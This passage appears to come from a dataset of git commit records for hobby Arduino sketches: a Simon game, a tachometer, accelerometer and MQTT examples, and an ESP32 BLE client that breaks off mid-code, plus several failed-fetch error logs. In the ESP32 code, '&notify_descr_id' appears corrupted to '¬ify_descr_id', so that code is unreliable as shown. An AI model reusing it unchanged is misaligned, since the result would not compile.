{\n digitalWrite(LEDS[k], HIGH);\n }\n delay(LIGHT_DELAY);\n for (int k = 0; k < QTY; k++) {\n digitalWrite(LEDS[k], LOW);\n }\n delay(LIGHT_DELAY * 2);\n }\n}\n\n\n\/**\n * Determine whether the player successfully matched the pattern.\n *\/\nboolean verifyPlayerInput(int *pattern, int currentLevel) {\n\n \/\/ Get player input up through the current game level.\n int lvl = 0;\n while (lvl < currentLevel) {\n\n \/\/ Wait for a button press.\n int simonLed = -1;\n while (simonLed == -1) {\n\n \/\/ Check for game reset.\n if (digitalRead(TILT)) return true;\n\n \/\/ Check for a button press.\n simonLed = getSimonLed(analogRead(BUTTONS));\n }\n\n \/\/ Blink the corresponding LED.\n digitalWrite(simonLed, HIGH);\n delay(GAME_SPEED);\n digitalWrite(simonLed, LOW);\n\n \/\/ Check if the button press was correct.\n if (pattern[lvl] == simonLed) lvl++;\n else return false;\n }\n\n \/\/ The player successfully matched the entire pattern.\n return true;\n}\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"7006d4b432ef9a91bd700ecfea8eadc14271c1cc","subject":"but then it should know all CS PINS","message":"but then it should know all CS PINS\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/SPI.ino","new_file":"ArduinoClient\/SPI.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"2ba4fbad7700d16dc3a2c2b6c173fe1ed6c46634","subject":"wip IpLocationTrack","message":"wip IpLocationTrack\n","repos":"meeo\/meeo-arduino","old_file":"examples\/MeeoCrowtailBasic\/IpLocationTrack\/IpLocationTrack.ino","new_file":"examples\/MeeoCrowtailBasic\/IpLocationTrack\/IpLocationTrack.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/MeeoCrowtailBasic\/IpLocationTrack\/IpLocationTrack.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9e2d214c42e8337964196e6217a5eb0dce3cdf5e","subject":"Tachometer_C_Code","message":"Tachometer_C_Code\n\nCode for the Arduino which will record the time between sensing the rotating wheel","repos":"Alwaysmvp45\/Tachometer","old_file":"Tachometer_C_Code.ino","new_file":"Tachometer_C_Code.ino","new_contents":"\/\/code for an arduino with a magnetic sensor which can be attached to a rotating part to measure speed\n\/\/Written by Ryan Dreifuerst on 7\/26\/17\n\n\/\/max prescaler of 1024\n\/\/max time between 1\/10 of the wheel is 4.2s\n\/\/time between counts is 64us\n\/\/Must have a high logic level defined by 2.6V or greater\n#define ReadsPerRotation 1\n#define Average 2\n#define Send 10\n\n\nvoid Timerreset(){\n TCNT1 = 0;\n TIFR1 |= 1;\n}\n\nvoid timertest(){\n unsigned int total2;\n Serial.println(\"starting\");\n while(1){\n TIFR1 |= 1;\n delay(1);\n while(!(TIFR1 & 0x01)){\n ;\n }\n delay(4160);\n total2 = TCNT1;\n Serial.println(total2);\n PORTH ^= 1<<PH4;\n Serial.println(\"Switching\");\n \n \/\/Timerreset();\n\n }\n}\n\nvoid setup() {\n sei();\n Serial.begin(115200);\n\n \n DDRA &= ~(1<<PA0); \/\/pin for sensing the sensor\n PORTA &=~ 1<<PA0; \/\/sets pull up resistor on the sensor\n DDRA |= (1<<PA1);\n \/\/YELLOW LED which is on when the program is sensing\n \n DDRH &= ~ 1<<PH3; \/\/button which is grounded when the sensing starts and ends\n PORTH &=~ 1<<PH3;\n DDRH |= 1<<PH4; \/\/RED LED which is on when the program is waiting to start\n \n\n DDRC |= 1<<PC7; \/\/green LED for when the program is transfering\/outputting data\n \n \n \/\/timer setup\n TCCR1A = 0; \/\/no compare on A, B, or C and normal mode\n TCCR1B = 0b00000101; \/\/no capture, normal mode, 1024 prescaler\n TCCR1C = 0;\n TIMSK1 = 0;\n}\n\n\nvoid buttontest(){\n while(1){\n while(PINA & 1<<PA0);\n Serial.println(\"You pushed\");\n }\n}\nvoid loop() {\n PORTH |= 1<<PH4;\n PORTA &=~ 1<<PA1;\n PORTC &=~ 1<<PC7;\n unsigned int toAverage[Average];\n float toSend[Send] = {0};\n double totaltime = 0;\n int indexA, indexS; \/\/keeps track of which is the next array value to fill\n byte error = 1; \/\/stays as 1 until there is an error\n indexA = indexS = 0; \/\/resets the indexers\n Serial.println(\"waiting for start button\");\n while(PINH & 1<<PH3); \/\/wait until the start button is pushed\n delay(5);\n Serial.println(\"starting\");\n PORTH &=~ 1<<PH4;\n PORTA |= 1<<PA1;\n while(!(PINH & 1<<PH3)); \/\/debounce the button\n Serial.println(\"debounce\");\n while(PINA & 1<<PA0); \/\/wait for the first reading\n Serial.println(\"first reading\");\n while(!(PINA & 1<<PA0)); \n\n Timerreset();\n while(PINH & 1<<PH3 && error == 1){\n delay(5);\n if(!(PINA & 1<<PA0)){\n while(!(PINA & 1<<PA0));\n Serial.println(TCNT1, DEC);\n if(indexA == Average){\n if(indexS == Send){\n Serial.println(\"max data stored, stopping\");\n error = 0;\n }\n else{\n float av = 0;\n for(int i = 0; i<Average; i++){\n av+= toAverage[i];\n }\n toAverage[0] = TCNT1;\n av\/=Average;\n toSend[indexS] = av;\n indexS++;\n indexA = 1;\n \n }\n }\n else{\n toAverage[indexA] = TCNT1;\n totaltime += toAverage[indexA];\n Timerreset();\n indexA++;\n }\n }\n else if(TIFR1 & 1){\n Serial.println(\"You took too long\");\n error = 0;\n }\n }\n Serial.println(\"Stop data\");\n PORTA &=~1<<PA1;\n PORTC |= 1<<PC7;\n for(int j = 0; j< Send; j++){\n Serial.println(toSend[j]);\n }\n Serial.println(\"done\");\n Serial.println(totaltime);\n delay(10000);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Tachometer_C_Code.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"493c50599f5819aa5a3b25799462f3558dfb9a1c","subject":"add basic outline code","message":"add basic outline code\n","repos":"kdomen\/Morse-Code","old_file":"arduinoCode\/arduinoCode.ino","new_file":"arduinoCode\/arduinoCode.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/kdomen\/Morse-Code.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"30d92170f0ce8fa22444efd395eb3d34cb129d9b","subject":"Added KX022 example with interrupts","message":"Added KX022 example with interrupts","repos":"jgromes\/RohmMultiSensor","old_file":"examples\/KX022_1020\/KX022_1020.ino","new_file":"examples\/KX022_1020\/KX022_1020.ino","new_contents":"\/*\n * KX022_1020 example\n * \n * This sketch shows you how to correctly setup iterrupts to use KX022-1020 accelerometer.\n * \n * Before powering up your Arduino, make sure to select 1.8V or 3V on jumper J15 on the shield!\n * \n * NOTE: The interrupt settings on the shield are following:\n * J3 jumper connects interrupts to Arduino interrupt 0 (pin D2)\n * J4 jumper connects interrupts to Arduino interrupt 1 (pin D3)\n * INTRx pins on J3 and J4 are used to connect CMOS output interrupts for sensors KX022_1020 and BM1422GMV on header I2C_x\n * INTx pins on J3 and J4 are used to connect interrupts which require external pull-up, these are for sensors BH1745NUC and BM1422GMV on header I2C_x\n * J16 jumper is ON\/OFF switch for the pull-up, when shorted, it will be ON: the pull-up resistor is 1k\u03a9, the logic HIGH will be 5V.\n * \n * If we want to use the KX022-1020 accelerometer, we can connect it to the header I2C_1.\n * Since KX022-1020 doesn't need an external pull-up, we can directly short INTR1 on J3 if we want to use Arduino interrupt 0 (default setting), or INTR1 on J4 if we want to use Arduino interrupt 1.\n *\/\n\n\/\/ define all the sensors we will use\n#define INCLUDE_KX022_1020\n\n\/\/ include the library\n#include <RohmMultiSensor.h>\n\n\/\/ instantiate the sensor's class\nKX022_1020 acc;\n\n\/\/ define the interrupt service routine\nvoid isr(void) {\n acc.setFlagDrdy();\n}\n\nvoid setup() {\n \/\/ begin serial communication\n Serial.begin(9600);\n Serial.println();\n\n \/\/ begin the TWI (I2C) interface.\n \/\/ this function has to be called before any calls to .init()!\n Wire.begin();\n\n \/\/ initialize KX022-1020 with the default values\n \/\/ note that we have to provide the interrupt service routine to the .init() method\n acc.init(isr);\n\n Serial.println(\"X[g]\\tY[g]\\tZ[g]\");\n}\n\nvoid loop() {\n \/\/ measure the sensor values\n float* accelValue = acc.measure();\n\n \/\/ print the values to the serial port\n Serial.print(accelValue[0]);\n Serial.print('\\t');\n Serial.print(accelValue[1]);\n Serial.print('\\t');\n Serial.println(accelValue[2]);\n\n \/\/ safely deallocate memory allocated for the dynamic array 'accelValue'\n delete[] accelValue;\n\n \/\/ wait 100 ms before the next measurement\n delay(100);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/KX022_1020\/KX022_1020.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f78501195c17dd2223939a9d317b7fd548a7c4bc","subject":"timer","message":"timer\n","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_07-ac-ir-remote-timer\/_07-ac-ir-remote-timer-old.ino","new_file":"_07-ac-ir-remote-timer\/_07-ac-ir-remote-timer-old.ino","new_contents":"#include <LowPower.h>\n\/\/ https:\/\/github.com\/rocketscream\/Low-Power\n\nint powerPin = 2;\n\nvoid setup() {\n delay(500);\n pinMode(powerPin, OUTPUT);\n digitalWrite(powerPin, LOW);\n delay(500);\n}\n\nvoid loop()\n{\n delay(500);\n togglePower();\n delay(500);\n sleep30Minutes();\n delay(500);\n togglePower();\n delay(500);\n sleep30Minutes();\n delay(500);\n}\n\n\/\/ USe 9 sec\nvoid sleep60Minutes()\n{\n for (int i = 0; i < 400; i++) { \n LowPower.powerDown(SLEEP_8S, ADC_OFF, BOD_OFF); \n }\n}\n\n\nvoid sleep30Minutes()\n{\n for (int i = 0; i < 200; i++) { \n LowPower.powerDown(SLEEP_8S, ADC_OFF, BOD_OFF); \n }\n}\n\nvoid togglePower() {\n delay(100); \n digitalWrite(powerPin, HIGH); \n delay(100); \n digitalWrite(powerPin, LOW); \n delay(100); \n}","old_contents":"","returncode":1,"stderr":"error: pathspec '_07-ac-ir-remote-timer\/_07-ac-ir-remote-timer-old.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"3c30e43e8d532485db941eb75bf97b13ffcd39e0","subject":"Added Quick_start_anto example","message":"Added Quick_start_anto example\n","repos":"AntoIOT\/Arduino-Lib,AntoIOT\/Arduino-Lib,AntoIOT\/anto-esp8266-arduino,AntoIOT\/AntoIO,AntoIOT\/anto-esp8266-arduino,AntoIOT\/AntoIO","old_file":"examples\/Quick_start_anto\/Quick_start_anto.ino","new_file":"examples\/Quick_start_anto\/Quick_start_anto.ino","new_contents":"\n#include <AntoIO.h>\n\n\/\/ username of anto.io account\nconst char *user = \"user\";\n\n\/\/ key of permission, generated on control panel anto.io\nconst char* key = \"key\";\n\n\/\/ your default thing.\nconst char* thing = \"NodeMCU\";\n\n\/\/ create AntoIO object named anto.\n\/\/ using constructor AntoIO(user, key, thing)\n\/\/ or use AntoIO(user, key, thing, clientId)\n\/\/ to generate client_id yourself.\nAntoIO anto(user, key, thing);\n\nbool bIsConnected = false;\nint Led1,Led2,Led3 = 0;\nint motor = 0;\n\nvoid setup() {\n \/\/ SSID and Password of your WiFi access point.\n const char* ssid = \"ssid\";\n const char* pwd = \"pwd\";\n\n Serial.begin(115200);\n delay(10);\n\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n\n \/\/ Connect to your WiFi access point\n if (!anto.begin(ssid, pwd)) {\n Serial.println(\"Connection failed!!\");\n\n \/\/ Stop everything.\n while (1);\n }\n\n Serial.println();\n Serial.println(\"WiFi connected\"); \n Serial.println(\"Connecting to MQTT broker\");\n \n \/\/ register callback functions\n anto.mqtt.onConnected(connectedCB);\n anto.mqtt.onDisconnected(disconnectedCB);\n anto.mqtt.onData(dataCB);\n anto.mqtt.onPublished(publishedCB);\n \n \/\/ Connect to Anto.io MQTT broker\n anto.mqtt.connect();\n \n \/\/port output\n pinMode(D1,OUTPUT);\n pinMode(D2,OUTPUT);\n pinMode(D3,OUTPUT);\n}\n\nvoid loop() {\n \/\/ if disconnected from broker, try to reconnect.\n if (!bIsConnected) {\n anto.mqtt.connect();\n delay(5000);\n }\n}\n\n\/*\n* connectedCB(): a callback function called when the connection to the MQTT broker is establised.\n*\/\nvoid connectedCB()\n{ \n bIsConnected = true;\n Serial.println(\"Connected to MQTT Broker\");\n \n \/\/ If the connection is establised, subscribe channels\n \/\/ by using sub(channel, QOS) \n \/\/ where QOS is 0, 1, or 2\n anto.sub(\"LED1\");\n anto.sub(\"LED2\");\n anto.sub(\"LED3\");\n}\n\n\/*\n* disconnectedCB(): a callback function called when the connection to the MQTT broker is broken.\n*\/\nvoid disconnectedCB()\n{ \n bIsConnected = false;\n Serial.println(\"Disconnected from MQTT Broker\");\n}\n\n\/*\n* dataCB(): a callback function called when there a message from the subscribed channel.\n*\/\nvoid dataCB(String& topic, String& msg)\n{\n uint8_t index = topic.indexOf('\/');\n\n index = topic.indexOf('\/', index + 1);\n index = topic.indexOf('\/', index + 1);\n\n topic.remove(0, index + 1);\n \n Serial.print(topic);\n Serial.print(\": \");\n Serial.println(msg);\n\n if(topic.equals(\"LED1\")){\n motor = msg.toInt();\n if(motor == 1){\n digitalWrite(D1,HIGH);\n }\n else{\n digitalWrite(D1,LOW);\n }\n \n }\n else if(topic.equals(\"LED2\")){\n motor = msg.toInt();\n if(motor == 1){\n digitalWrite(D2,HIGH);\n }\n else{\n digitalWrite(D2,LOW);\n }\n }\n else if(topic.equals(\"LED3\")){\n motor = msg.toInt();\n if(motor == 1){\n digitalWrite(D3,HIGH);\n }\n else{\n digitalWrite(D3,LOW);\n }\n }\n}\n\n\/*\n* publishedCB(): a callback function called when the message is published.\n*\/\nvoid publishedCB(void)\n{\n Serial.println(\"published\");\n}\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Quick_start_anto\/Quick_start_anto.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e3e192379bb7fded5e64bb40a9a479a981441ad1","subject":"Update ProjectHomeAutomation.ino","message":"Update ProjectHomeAutomation.ino","repos":"Electroscholars\/HomeAutomation,Electroscholars\/HomeAutomation","old_file":"Arduino Codes\/ProjectHomeAutomation\/ProjectHomeAutomation.ino","new_file":"Arduino Codes\/ProjectHomeAutomation\/ProjectHomeAutomation.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Electroscholars\/HomeAutomation.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"80d6b1b63bc848e95486fb595ae4d0b2209c783d","subject":"First working ESP32 beacon observer, raw debug output.","message":"First working ESP32 beacon observer, raw debug output.\n\nNext, need to load wire bits into beacon struct.\n","repos":"bencoman\/siteBKNS,bencoman\/siteBKNS,bencoman\/siteBKNS,bencoman\/siteBKNS","old_file":"ESP32\/Examples-ArduinoIDE\/beacon-observer\/beacon-observer.ino","new_file":"ESP32\/Examples-ArduinoIDE\/beacon-observer\/beacon-observer.ino","new_contents":"\/\/ 2017.07.12.BenComan Sourced from... me-no-dev\/BLE_GATT_Client.ino (https:\/\/gist.github.com\/me-no-dev\/5f8851e1e1112b7c3d9eefe6e1e1cf9d)\n\/\/ Successfully observes the advertisments from Evolving4SimpleBleDevice.ino and beacon-advertiser.ino\n\n\/\/ Copyright 2015-2016 Espressif Systems (Shanghai) PTE LTD\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\n\n\/****************************************************************************\n*\n* This file is for gatt client. It can scan ble device, connect one device,\n*\n****************************************************************************\/\n\n#include <stdint.h>\n#include <string.h>\n#include <stdbool.h>\n#include <stdio.h>\n#include \"controller.h\"\n\n#include \"bt.h\"\n#include \"bt_trace.h\"\n#include \"bt_types.h\"\n#include \"btm_api.h\"\n#include \"bta_api.h\"\n#include \"bta_gatt_api.h\"\n#include \"esp_gap_ble_api.h\"\n#include \"esp_gattc_api.h\"\n#include \"esp_gatt_defs.h\"\n#include \"esp_bt_main.h\"\n\n#define GATTC_TAG \"GATTC_DEMO\"\n\n\/\/\/Declare static functions\nstatic void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param);\nstatic void esp_gattc_cb(esp_gattc_cb_event_t event, esp_gatt_if_t gattc_if, esp_ble_gattc_cb_param_t *param);\nstatic void gattc_profile_a_event_handler(esp_gattc_cb_event_t event, esp_gatt_if_t gattc_if, esp_ble_gattc_cb_param_t *param);\nstatic void gattc_profile_b_event_handler(esp_gattc_cb_event_t event, esp_gatt_if_t gattc_if, esp_ble_gattc_cb_param_t *param);\n\n\nstatic esp_gatt_srvc_id_t alert_service_id = {\n .id = {\n .uuid = {\n .len = ESP_UUID_LEN_16,\n .uuid = {.uuid16 = 0x1811,},\n },\n .inst_id = 0,\n },\n .is_primary = true,\n};\n\nstatic esp_gatt_id_t notify_descr_id = {\n .uuid = {\n .len = ESP_UUID_LEN_16,\n .uuid = {.uuid16 = GATT_UUID_CHAR_CLIENT_CONFIG,},\n },\n .inst_id = 0,\n};\n#define BT_BD_ADDR_STR \"%02x:%02x:%02x:%02x:%02x:%02x\"\n#define BT_BD_ADDR_HEX(addr) addr[0], addr[1], addr[2], addr[3], addr[4], addr[5]\n\nstatic bool connect = false;\nstatic const char device_name[] = \"Alert Notification\";\n\nstatic esp_ble_scan_params_t ble_scan_params = {\n .scan_type = BLE_SCAN_TYPE_ACTIVE,\n .own_addr_type = BLE_ADDR_TYPE_PUBLIC,\n .scan_filter_policy = BLE_SCAN_FILTER_ALLOW_ALL,\n .scan_interval = 0x50,\n .scan_window = 0x30,\n};\n\n#define PROFILE_NUM 2\n#define PROFILE_A_APP_ID 0\n#define PROFILE_B_APP_ID 1\n\nstruct gattc_profile_inst {\n esp_gattc_cb_t gattc_cb;\n uint16_t gattc_if;\n uint16_t app_id;\n uint16_t conn_id;\n esp_bd_addr_t remote_bda;\n};\n\n\/* One gatt-based profile one app_id and one gattc_if, this array will store the gattc_if returned by ESP_GATTS_REG_EVT *\/\nstatic struct gattc_profile_inst gl_profile_tab[PROFILE_NUM] = {\n [PROFILE_A_APP_ID] = {\n .gattc_cb = gattc_profile_a_event_handler,\n .gattc_if = ESP_GATT_IF_NONE, \/* Not get the gatt_if, so initial is ESP_GATT_IF_NONE *\/\n },\n [PROFILE_B_APP_ID] = {\n .gattc_cb = gattc_profile_b_event_handler,\n .gattc_if = ESP_GATT_IF_NONE, \/* Not get the gatt_if, so initial is ESP_GATT_IF_NONE *\/\n },\n};\n\nstatic void gattc_profile_a_event_handler(esp_gattc_cb_event_t event, esp_gatt_if_t gattc_if, esp_ble_gattc_cb_param_t *param)\n{\n uint16_t conn_id = 0;\n esp_ble_gattc_cb_param_t *p_data = (esp_ble_gattc_cb_param_t *)param;\n\n switch (event) {\n case ESP_GATTC_REG_EVT:\n Serial.printf(\"REG_EVT\\n\");\n esp_ble_gap_set_scan_params(&ble_scan_params);\n break;\n case ESP_GATTC_OPEN_EVT:\n conn_id = p_data->open.conn_id;\n\n memcpy(gl_profile_tab[PROFILE_A_APP_ID].remote_bda, p_data->open.remote_bda, sizeof(esp_bd_addr_t));\n Serial.printf(\"ESP_GATTC_OPEN_EVT conn_id %d, if %d, status %d, mtu %d\\n\", conn_id, gattc_if, p_data->open.status, p_data->open.mtu);\n\n Serial.printf(\"REMOTE BDA %02x:%02x:%02x:%02x:%02x:%02x\\n\",\n gl_profile_tab[PROFILE_A_APP_ID].remote_bda[0], gl_profile_tab[PROFILE_A_APP_ID].remote_bda[1], \n gl_profile_tab[PROFILE_A_APP_ID].remote_bda[2], gl_profile_tab[PROFILE_A_APP_ID].remote_bda[3],\n gl_profile_tab[PROFILE_A_APP_ID].remote_bda[4], gl_profile_tab[PROFILE_A_APP_ID].remote_bda[5]\n );\n\n esp_ble_gattc_search_service(gattc_if, conn_id, NULL);\n break;\n case ESP_GATTC_SEARCH_RES_EVT: {\n esp_gatt_srvc_id_t *srvc_id = &p_data->search_res.srvc_id;\n conn_id = p_data->search_res.conn_id;\n Serial.printf(\"SEARCH RES: conn_id = %x\\n\", conn_id);\n if (srvc_id->id.uuid.len == ESP_UUID_LEN_16) {\n Serial.printf(\"UUID16: %x\\n\", srvc_id->id.uuid.uuid.uuid16);\n } else if (srvc_id->id.uuid.len == ESP_UUID_LEN_32) {\n Serial.printf(\"UUID32: %x\\n\", srvc_id->id.uuid.uuid.uuid32);\n } else if (srvc_id->id.uuid.len == ESP_UUID_LEN_128) {\n Serial.printf(\"UUID128: %x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x\\n\", srvc_id->id.uuid.uuid.uuid128[0],\n srvc_id->id.uuid.uuid.uuid128[1], srvc_id->id.uuid.uuid.uuid128[2], srvc_id->id.uuid.uuid.uuid128[3],\n srvc_id->id.uuid.uuid.uuid128[4], srvc_id->id.uuid.uuid.uuid128[5], srvc_id->id.uuid.uuid.uuid128[6],\n srvc_id->id.uuid.uuid.uuid128[7], srvc_id->id.uuid.uuid.uuid128[8], srvc_id->id.uuid.uuid.uuid128[9],\n srvc_id->id.uuid.uuid.uuid128[10], srvc_id->id.uuid.uuid.uuid128[11], srvc_id->id.uuid.uuid.uuid128[12],\n srvc_id->id.uuid.uuid.uuid128[13], srvc_id->id.uuid.uuid.uuid128[14], srvc_id->id.uuid.uuid.uuid128[15]);\n } else {\n Serial.printf(\"ERROR: UNKNOWN LEN %d\\n\", srvc_id->id.uuid.len);\n }\n break;\n }\n case ESP_GATTC_SEARCH_CMPL_EVT:\n conn_id = p_data->search_cmpl.conn_id;\n Serial.printf(\"SEARCH_CMPL: conn_id = %x, status %d\\n\", conn_id, p_data->search_cmpl.status);\n esp_ble_gattc_get_characteristic(gattc_if, conn_id, &alert_service_id, NULL);\n break;\n case ESP_GATTC_GET_CHAR_EVT:\n if (p_data->get_char.status != ESP_GATT_OK) {\n break;\n }\n Serial.printf(\"GET CHAR: conn_id = %x, status %d\\n\", p_data->get_char.conn_id, p_data->get_char.status);\n Serial.printf(\"GET CHAR: srvc_id = %04x, char_id = %04x\\n\", p_data->get_char.srvc_id.id.uuid.uuid.uuid16, p_data->get_char.char_id.uuid.uuid.uuid16);\n\n if (p_data->get_char.char_id.uuid.uuid.uuid16 == 0x2a46) {\n Serial.printf(\"register notify\\n\");\n esp_ble_gattc_register_for_notify(gattc_if, gl_profile_tab[PROFILE_A_APP_ID].remote_bda, &alert_service_id, &p_data->get_char.char_id);\n }\n\n esp_ble_gattc_get_characteristic(gattc_if, conn_id, &alert_service_id, &p_data->get_char.char_id);\n break;\n case ESP_GATTC_REG_FOR_NOTIFY_EVT: {\n uint16_t notify_en = 1;\n Serial.printf(\"REG FOR NOTIFY: status %d\\n\", p_data->reg_for_notify.status);\n Serial.printf(\"REG FOR_NOTIFY: srvc_id = %04x, char_id = %04x\\n\", p_data->reg_for_notify.srvc_id.id.uuid.uuid.uuid16, p_data->reg_for_notify.char_id.uuid.uuid.uuid16);\n\n esp_ble_gattc_write_char_descr(\n gattc_if,\n conn_id,\n &alert_service_id,\n &p_data->reg_for_notify.char_id,\n ¬ify_descr_id,\n sizeof(notify_en),\n (uint8_t *)¬ify_en,\n ESP_GATT_WRITE_TYPE_RSP,\n ESP_GATT_AUTH_REQ_NONE);\n break;\n }\n case ESP_GATTC_NOTIFY_EVT:\n Serial.printf(\"NOTIFY: len %d, value %08x\\n\", p_data->notify.value_len, *(uint32_t *)p_data->notify.value);\n break;\n case ESP_GATTC_WRITE_DESCR_EVT:\n Serial.printf(\"WRITE: status %d\\n\", p_data->write.status);\n break;\n default:\n break;\n }\n}\n\nstatic void gattc_profile_b_event_handler(esp_gattc_cb_event_t event, esp_gatt_if_t gattc_if, esp_ble_gattc_cb_param_t *param)\n{\n uint16_t conn_id = 0;\n esp_ble_gattc_cb_param_t *p_data = (esp_ble_gattc_cb_param_t *)param;\n\n switch (event) {\n case ESP_GATTC_REG_EVT:\n Serial.printf(\"REG_EVT\\n\");\n break;\n case ESP_GATTC_OPEN_EVT:\n conn_id = p_data->open.conn_id;\n\n memcpy(gl_profile_tab[PROFILE_B_APP_ID].remote_bda, p_data->open.remote_bda, sizeof(esp_bd_addr_t));\n Serial.printf(\"ESP_GATTC_OPEN_EVT conn_id %d, if %d, status %d, mtu %d\\n\", conn_id, gattc_if, p_data->open.status, p_data->open.mtu);\n\n Serial.printf(\"REMOTE BDA %02x:%02x:%02x:%02x:%02x:%02x\\n\",\n gl_profile_tab[PROFILE_B_APP_ID].remote_bda[0], gl_profile_tab[PROFILE_B_APP_ID].remote_bda[1], \n gl_profile_tab[PROFILE_B_APP_ID].remote_bda[2], gl_profile_tab[PROFILE_B_APP_ID].remote_bda[3],\n gl_profile_tab[PROFILE_B_APP_ID].remote_bda[4], gl_profile_tab[PROFILE_B_APP_ID].remote_bda[5]\n );\n\n esp_ble_gattc_search_service(gattc_if, conn_id, NULL);\n break;\n case ESP_GATTC_SEARCH_RES_EVT: {\n esp_gatt_srvc_id_t *srvc_id = &p_data->search_res.srvc_id;\n conn_id = p_data->search_res.conn_id;\n Serial.printf(\"SEARCH RES: conn_id = %x\\n\", conn_id);\n if (srvc_id->id.uuid.len == ESP_UUID_LEN_16) {\n Serial.printf(\"UUID16: %x\\n\", srvc_id->id.uuid.uuid.uuid16);\n } else if (srvc_id->id.uuid.len == ESP_UUID_LEN_32) {\n Serial.printf(\"UUID32: %x\\n\", srvc_id->id.uuid.uuid.uuid32);\n } else if (srvc_id->id.uuid.len == ESP_UUID_LEN_128) {\n Serial.printf(\"UUID128: %x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x\\n\", srvc_id->id.uuid.uuid.uuid128[0],\n srvc_id->id.uuid.uuid.uuid128[1], srvc_id->id.uuid.uuid.uuid128[2], srvc_id->id.uuid.uuid.uuid128[3],\n srvc_id->id.uuid.uuid.uuid128[4], srvc_id->id.uuid.uuid.uuid128[5], srvc_id->id.uuid.uuid.uuid128[6],\n srvc_id->id.uuid.uuid.uuid128[7], srvc_id->id.uuid.uuid.uuid128[8], srvc_id->id.uuid.uuid.uuid128[9],\n srvc_id->id.uuid.uuid.uuid128[10], srvc_id->id.uuid.uuid.uuid128[11], srvc_id->id.uuid.uuid.uuid128[12],\n srvc_id->id.uuid.uuid.uuid128[13], srvc_id->id.uuid.uuid.uuid128[14], srvc_id->id.uuid.uuid.uuid128[15]);\n } else {\n Serial.printf(\"ERROR: UNKNOWN LEN %d\\n\", srvc_id->id.uuid.len);\n }\n break;\n }\n case ESP_GATTC_SEARCH_CMPL_EVT:\n conn_id = p_data->search_cmpl.conn_id;\n Serial.printf(\"SEARCH_CMPL: conn_id = %x, status %d\\n\", conn_id, p_data->search_cmpl.status);\n esp_ble_gattc_get_characteristic(gattc_if, conn_id, &alert_service_id, NULL);\n break;\n case ESP_GATTC_GET_CHAR_EVT:\n if (p_data->get_char.status != ESP_GATT_OK) {\n break;\n }\n Serial.printf(\"GET CHAR: conn_id = %x, status %d\\n\", p_data->get_char.conn_id, p_data->get_char.status);\n Serial.printf(\"GET CHAR: srvc_id = %04x, char_id = %04x\\n\", p_data->get_char.srvc_id.id.uuid.uuid.uuid16, p_data->get_char.char_id.uuid.uuid.uuid16);\n\n if (p_data->get_char.char_id.uuid.uuid.uuid16 == 0x2a46) {\n Serial.printf(\"register notify\\n\");\n esp_ble_gattc_register_for_notify(gattc_if, gl_profile_tab[PROFILE_B_APP_ID].remote_bda, &alert_service_id, &p_data->get_char.char_id);\n }\n\n esp_ble_gattc_get_characteristic(gattc_if, conn_id, &alert_service_id, &p_data->get_char.char_id);\n break;\n case ESP_GATTC_REG_FOR_NOTIFY_EVT: {\n uint16_t notify_en = 1;\n Serial.printf(\"REG FOR NOTIFY: status %d\\n\", p_data->reg_for_notify.status);\n Serial.printf(\"REG FOR_NOTIFY: srvc_id = %04x, char_id = %04x\\n\", p_data->reg_for_notify.srvc_id.id.uuid.uuid.uuid16, p_data->reg_for_notify.char_id.uuid.uuid.uuid16);\n\n esp_ble_gattc_write_char_descr(\n gattc_if,\n conn_id,\n &alert_service_id,\n &p_data->reg_for_notify.char_id,\n ¬ify_descr_id,\n sizeof(notify_en),\n (uint8_t *)¬ify_en,\n ESP_GATT_WRITE_TYPE_RSP,\n ESP_GATT_AUTH_REQ_NONE);\n break;\n }\n case 